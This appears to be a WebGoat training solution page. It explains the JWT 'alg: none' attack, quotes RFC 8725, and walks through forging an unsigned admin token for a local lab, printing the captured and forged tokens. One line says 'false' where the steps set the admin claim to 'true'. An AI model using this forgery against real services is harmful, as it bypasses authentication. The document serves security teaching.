17acef57b4
chore: add pre-commit hooks chore: add pre-commit hooks chore: add pre-commit hooks chore: add pre-commit hooks
89 lines
2.8 KiB
Plaintext
89 lines
2.8 KiB
Plaintext
=== Solution
|
|
|
|
The idea behind this assignment is that you can manipulate the token which might cause the server to interpret the token differently. In the beginning when JWT libraries appeared they implemented the specification to the letter meaning that the library took the algorithm specified inside the header and tried to work with it.
|
|
|
|
[quote, https://tools.ietf.org/html/rfc8725#section-2.1]
|
|
____
|
|
Signed JSON Web Tokens carry an explicit indication of the signing
|
|
algorithm, in the form of the "alg" Header Parameter, to facilitate
|
|
cryptographic agility. This, in conjunction with design flaws in
|
|
some libraries and applications, has led to several attacks:
|
|
|
|
* The algorithm can be changed to "none" by an attacker, and some
|
|
libraries would trust this value and "validate" the JWT without
|
|
checking any signature.
|
|
|
|
* An "RS256" (RSA, 2048 bit) parameter value can be changed into
|
|
"HS256" (HMAC, SHA-256), and some libraries would try to validate
|
|
the signature using HMAC-SHA256 and using the RSA public key as
|
|
the HMAC shared secret (see [McLean] and [CVE-2015-9235]).
|
|
|
|
For mitigations, see Sections 3.1 and 3.2.
|
|
____
|
|
|
|
What basically happened was that libraries just parsed the token as it was given to them without validating what cryptographic operation was used during the creation of the token.
|
|
|
|
==== Solution
|
|
|
|
First note that we are logged in as `Guest` so first select a different user for example: Tom.
|
|
User Tom is allowed to vote as you can see, but he is unable to reset the votes. Looking at the request this will return an `access_token` in the response:
|
|
|
|
[source]
|
|
----
|
|
GET http://localhost:8080/WebGoat/JWT/votings/login?user=Tom HTTP/1.1
|
|
|
|
access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDgxMjg1NjYsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.rTSX6PSXqUoGUvQQDBiqX0re2BSt7s2-X6FPf34Qly9SMpqIUSP8jykedJbjOBNlM3_CTjgk1SvUv48Pz8zIzA
|
|
----
|
|
|
|
Decoding the token gives:
|
|
|
|
[source]
|
|
----
|
|
{
|
|
"alg": "HS512"
|
|
}
|
|
{
|
|
"iat": 1608128566,
|
|
"admin": "false",
|
|
"user": "Tom"
|
|
}
|
|
----
|
|
|
|
We can change the `admin` claim to `false` but then signature will become invalid. How do we end up with a valid signature?
|
|
Looking at the https://tools.ietf.org/html/rfc7519#section-6.1[RFC specification] `alg: none` is a valid choice and gives an unsecured JWT.
|
|
Let's change our token:
|
|
|
|
[source]
|
|
----
|
|
headers:
|
|
|
|
{
|
|
"alg": "none"
|
|
}
|
|
|
|
claims:
|
|
|
|
{
|
|
"iat": 1608128566,
|
|
"admin": "true",
|
|
"user": "Tom"
|
|
}
|
|
----
|
|
|
|
If we use WebWolf to create our token we get:
|
|
|
|
[source]
|
|
----
|
|
eyJhbGciOiJub25lIn0.ew0KICAiYWRtaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE2MDgxMjg1NjYsDQogICJ1c2VyIiA6ICJUb20iDQp9
|
|
----
|
|
|
|
Now we can replace the token in the cookie and perform the reset again. One thing to watch out for is to add a `.` at the end otherwise the token is not valid.
|
|
|
|
|
|
|
|
== References
|
|
|
|
For more information take a look at the following video:
|
|
|
|
video::wt3UixCiPfo[youtube, height=480, width=100%]
|